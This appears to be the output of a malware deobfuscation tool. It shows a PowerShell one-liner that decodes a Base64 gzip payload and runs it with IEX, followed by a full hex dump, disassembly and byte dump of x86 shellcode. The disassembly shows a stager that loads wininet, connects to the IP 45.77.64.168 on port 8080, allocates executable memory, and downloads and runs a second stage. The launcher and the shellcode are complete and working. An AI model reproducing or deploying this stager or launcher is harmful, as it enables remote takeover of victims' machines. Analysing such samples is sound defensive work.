Decoded

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

final
Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 80 00 00 00 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 38 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 54 72 69 64 65 6e 74 2f 34 2e 30 29 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 59 31 ff 57 57 57 57 51 68 3a 56 79 a7 ff d5 eb 79 5b 31 c9 51 51 6a 03 51 51 68 90 1f 00 00 53 50 68 57 89 9f c6 ff d5 eb 62 59 31 d2 52 68 00 02 60 84 52 52 52 51 52 50 68 eb 55 2e 3b ff d5 89 c6 31 ff 57 57 57 57 56 68 2d 06 18 7b ff d5 85 c0 74 44 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 74 bc 31 ff eb 15 eb 49 e8 99 ff ff ff 2f 49 4a 57 72 00 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cd 8b 07 01 c3 85 c0 75 e5 58 c3 e8 37 ff ff ff 34 35 2e 37 37 2e 36 34 2e 31 36 38 00
0x00000000 fc               cld
0x00000001 e889000000       call 0x0000008f
0x00000006 60               pushad
0x00000007 89e5             mov ebp,esp
0x00000009 31d2             xor edx,edx
0x0000000b 648b5230         fs: mov edx,dword [edx + 48]
0x0000000f 8b520c           mov edx,dword [edx + 12]
0x00000012 8b5214           mov edx,dword [edx + 20]
0x00000015 8b7228           mov esi,dword [edx + 40]
0x00000018 0fb74a26         movzx ecx,word [edx + 38]
0x0000001c 31ff             xor edi,edi
0x0000001e 31c0             xor eax,eax
0x00000020 ac               lodsb
0x00000021 3c61             cmp al,97
0x00000023 7c02             jl 0x00000027
0x00000025 2c20             sub al,32
0x00000027 c1cf0d           ror edi,13
0x0000002a 01c7             add edi,eax
0x0000002c e2f0             loop 0x0000001e
0x0000002e 52               push edx
0x0000002f 57               push edi
0x00000030 8b5210           mov edx,dword [edx + 16]
0x00000033 8b423c           mov eax,dword [edx + 60]
0x00000036 01d0             add eax,edx
0x00000038 8b4078           mov eax,dword [eax + 120]
0x0000003b 85c0             test eax,eax
0x0000003d 744a             jz 0x00000089
0x0000003f 01d0             add eax,edx
0x00000041 50               push eax
0x00000042 8b4818           mov ecx,dword [eax + 24]
0x00000045 8b5820           mov ebx,dword [eax + 32]
0x00000048 01d3             add ebx,edx
0x0000004a e33c             jecxz 0x00000088
0x0000004c 49               dec ecx
0x0000004d 8b348b           mov esi,dword [ebx + ecx * 4]
0x00000050 01d6             add esi,edx
0x00000052 31ff             xor edi,edi
0x00000054 31c0             xor eax,eax
0x00000056 ac               lodsb
0x00000057 c1cf0d           ror edi,13
0x0000005a 01c7             add edi,eax
0x0000005c 38e0             cmp al,ah
0x0000005e 75f4             jnz 0x00000054
0x00000060 037df8           add edi,dword [ebp - 8]
0x00000063 3b7d24           cmp edi,dword [ebp + 36]
0x00000066 75e2             jnz 0x0000004a
0x00000068 58               pop eax
0x00000069 8b5824           mov ebx,dword [eax + 36]
0x0000006c 01d3             add ebx,edx
0x0000006e 668b0c4b         mov cx,word [ebx + ecx * 2]
0x00000072 8b581c           mov ebx,dword [eax + 28]
0x00000075 01d3             add ebx,edx
0x00000077 8b048b           mov eax,dword [ebx + ecx * 4]
0x0000007a 01d0             add eax,edx
0x0000007c 89442424         mov dword [esp + 36],eax
0x00000080 5b               pop ebx
0x00000081 5b               pop ebx
0x00000082 61               popad
0x00000083 59               pop ecx
0x00000084 5a               pop edx
0x00000085 51               push ecx
0x00000086 ffe0             jmp eax
0x00000088 58               pop eax
0x00000089 5f               pop edi
0x0000008a 5a               pop edx
0x0000008b 8b12             mov edx,dword [edx]
0x0000008d eb86             jmp 0x00000015
0x0000008f 5d               pop ebp
0x00000090 686e657400       push 0x0074656e--> 'ten'
0x00000095 6877696e69       push 0x696e6977--> 'iniw'
0x0000009a 54               push esp
0x0000009b 684c772607       push 0x0726774c--> '&wL'
0x000000a0 ffd5             call ebp --> kernel32.dll!LoadLibraryA
0x000000a2 e880000000       call 0x00000127
0x000000a7 4d               dec ebp
0x000000a8 6f               outsd edx,dword [esi]
0x000000a9 7a69             jpe 0x00000114
0x000000ab 6c               insb byte [esi],edx
0x000000ac 6c               insb byte [esi],edx
0x000000ad 61               popad
0x000000ae 2f               das
0x000000af 342e             xor al,46
0x000000b1 3020             xor byte [eax],ah
0x000000b3 28636f           sub byte [ebx + 111],ah
0x000000b6 6d               insd dword [esi],edx
0x000000b7 7061             jo 0x0000011a
0x000000b9 7469             jz 0x00000124
0x000000bb 626c653b         bound ebp,dword [ebp + 59]
0x000000bf 204d53           and byte [ebp + 83],cl
0x000000c2 49               dec ecx
0x000000c3 45               inc ebp
0x000000c4 2038             and byte [eax],bh
0x000000c6 2e303b           cs: xor byte [ebx],bh
0x000000c9 205769           and byte [edi + 105],dl
0x000000cc 6e               outsb edx,byte [esi]
0x000000cd 646f             fs: outsd edx,dword [esi]
0x000000cf 7773             ja 0x00000144
0x000000d1 204e54           and byte [esi + 84],cl
0x000000d4 20352e313b20     and byte [0x203b312e],dh
0x000000da 54               push esp
0x000000db 7269             jc 0x00000146
0x000000dd 64656e           fsgs: outsb edx,byte [esi]
0x000000e0 742f             jz 0x00000111
0x000000e2 342e             xor al,46
0x000000e4 3029             xor byte [ecx],ch
0x000000e6 005858           add byte [eax + 88],bl
0x000000e9 58               pop eax
0x000000ea 58               pop eax
0x000000eb 58               pop eax
0x000000ec 58               pop eax
0x000000ed 58               pop eax
0x000000ee 58               pop eax
0x000000ef 58               pop eax
0x000000f0 58               pop eax
0x000000f1 58               pop eax
0x000000f2 58               pop eax
0x000000f3 58               pop eax
0x000000f4 58               pop eax
0x000000f5 58               pop eax
0x000000f6 58               pop eax
0x000000f7 58               pop eax
0x000000f8 58               pop eax
0x000000f9 58               pop eax
0x000000fa 58               pop eax
0x000000fb 58               pop eax
0x000000fc 58               pop eax
0x000000fd 58               pop eax
0x000000fe 58               pop eax
0x000000ff 58               pop eax
0x00000100 58               pop eax
0x00000101 58               pop eax
0x00000102 58               pop eax
0x00000103 58               pop eax
0x00000104 58               pop eax
0x00000105 58               pop eax
0x00000106 58               pop eax
0x00000107 58               pop eax
0x00000108 58               pop eax
0x00000109 58               pop eax
0x0000010a 58               pop eax
0x0000010b 58               pop eax
0x0000010c 58               pop eax
0x0000010d 58               pop eax
0x0000010e 58               pop eax
0x0000010f 58               pop eax
0x00000110 58               pop eax
0x00000111 58               pop eax
0x00000112 58               pop eax
0x00000113 58               pop eax
0x00000114 58               pop eax
0x00000115 58               pop eax
0x00000116 58               pop eax
0x00000117 58               pop eax
0x00000118 58               pop eax
0x00000119 58               pop eax
0x0000011a 58               pop eax
0x0000011b 58               pop eax
0x0000011c 58               pop eax
0x0000011d 58               pop eax
0x0000011e 58               pop eax
0x0000011f 58               pop eax
0x00000120 58               pop eax
0x00000121 58               pop eax
0x00000122 58               pop eax
0x00000123 58               pop eax
0x00000124 58               pop eax
0x00000125 58               pop eax
0x00000126 005931           add byte [ecx + 49],bl
0x00000129 ff5757           call dword [edi + 87]
0x0000012c 57               push edi
0x0000012d 57               push edi
0x0000012e 51               push ecx
0x0000012f 683a5679a7       push 0xa779563a--> 'yV:'
0x00000134 ffd5             call ebp --> wininet.dll!InternetOpenA
0x00000136 eb79             jmp 0x000001b1
0x00000138 5b               pop ebx
0x00000139 31c9             xor ecx,ecx
0x0000013b 51               push ecx
0x0000013c 51               push ecx
0x0000013d 6a03             push 3
0x0000013f 51               push ecx
0x00000140 51               push ecx
0x00000141 68901f0000       push 0x00001f90
0x00000146 53               push ebx
0x00000147 50               push eax
0x00000148 6857899fc6       push 0xc69f8957
0x0000014d ffd5             call ebp --> wininet.dll!InternetConnectA
0x0000014f eb62             jmp 0x000001b3
0x00000151 59               pop ecx
0x00000152 31d2             xor edx,edx
0x00000154 52               push edx
0x00000155 6800026084       push 0x84600200
0x0000015a 52               push edx
0x0000015b 52               push edx
0x0000015c 52               push edx
0x0000015d 51               push ecx
0x0000015e 52               push edx
0x0000015f 50               push eax
0x00000160 68eb552e3b       push 0x3b2e55eb--> ';.U'
0x00000165 ffd5             call ebp --> wininet.dll!HttpOpenRequestA
0x00000167 89c6             mov esi,eax
0x00000169 31ff             xor edi,edi
0x0000016b 57               push edi
0x0000016c 57               push edi
0x0000016d 57               push edi
0x0000016e 57               push edi
0x0000016f 56               push esi
0x00000170 682d06187b       push 0x7b18062d--> '{-'
0x00000175 ffd5             call ebp --> wininet.dll!HttpSendRequestA
0x00000177 85c0             test eax,eax
0x00000179 7444             jz 0x000001bf
0x0000017b 31ff             xor edi,edi
0x0000017d 85f6             test esi,esi
0x0000017f 7404             jz 0x00000185
0x00000181 89f9             mov ecx,edi
0x00000183 eb09             jmp 0x0000018e
0x00000185 68aac5e25d       push 0x5de2c5aa
0x0000018a ffd5             call ebp --> kernel32.dll!GetLastError
0x0000018c 89c1             mov ecx,eax
0x0000018e 6845215e31       push 0x315e2145--> '1^!E'
0x00000193 ffd5             call ebp
0x00000195 31ff             xor edi,edi
0x00000197 57               push edi
0x00000198 6a07             push 7
0x0000019a 51               push ecx
0x0000019b 56               push esi
0x0000019c 50               push eax
0x0000019d 68b757e00b       push 0x0be057b7--> '
                                                W'
0x000001a2 ffd5             call ebp --> wininet.dll!InternetErrorDlg
0x000001a4 bf002f0000       mov edi,0x00002f00
0x000001a9 39c7             cmp edi,eax
0x000001ab 74bc             jz 0x00000169
0x000001ad 31ff             xor edi,edi
0x000001af eb15             jmp 0x000001c6
0x000001b1 eb49             jmp 0x000001fc
0x000001b3 e899ffffff       call 0x00000151
0x000001b8 2f               das
0x000001b9 49               dec ecx
0x000001ba 4a               dec edx
0x000001bb 57               push edi
0x000001bc 7200             jc 0x000001be
0x000001be 0068f0           add byte [eax - 16],ch
0x000001c1 b5a2             mov ch,162
0x000001c3 56               push esi
0x000001c4 ffd5             call ebp
0x000001c6 6a40             push 64
0x000001c8 6800100000       push 4096
0x000001cd 6800004000       push 0x00400000
0x000001d2 57               push edi
0x000001d3 6858a453e5       push 0xe553a458--> 'SX'
0x000001d8 ffd5             call ebp --> kernel32.dll!VirtualAlloc
0x000001da 93               xchg eax,ebx
0x000001db 53               push ebx
0x000001dc 53               push ebx
0x000001dd 89e7             mov edi,esp
0x000001df 57               push edi
0x000001e0 6800200000       push 0x00002000
0x000001e5 53               push ebx
0x000001e6 56               push esi
0x000001e7 68129689e2       push 0xe2899612
0x000001ec ffd5             call ebp --> wininet.dll!InternetReadFile
0x000001ee 85c0             test eax,eax
0x000001f0 74cd             jz 0x000001bf
0x000001f2 8b07             mov eax,dword [edi]
0x000001f4 01c3             add ebx,eax
0x000001f6 85c0             test eax,eax
0x000001f8 75e5             jnz 0x000001df
0x000001fa 58               pop eax
0x000001fb c3               ret
0x000001fc e837ffffff       call 0x00000138
0x00000201 3435             xor al,53
0x00000203 2e37             cs: aaa
0x00000205 37               aaa
0x00000206 2e36342e         csss: xor al,46
0x0000020a 3136             xor dword [esi],esi
0x0000020c 3800             cmp byte [eax],al

Byte Dump:
......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<...@x..tJ..P.H..X...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........Mozilla/4.0(compatible;MSIE8.0;WindowsNT5.1;Trident/4.0).XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.Y1.WWWWQh:Vy....y[1.QQj.QQh....SPhW......bY1.Rh..`.RRRQRPh.U.;....1.WWWWVh-..{....tD1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.t.1....I...../IJWr..h...V..j@h....h..@.WhX.S....SS..Wh...SVh........t.......u.X..7...45.77.64.168.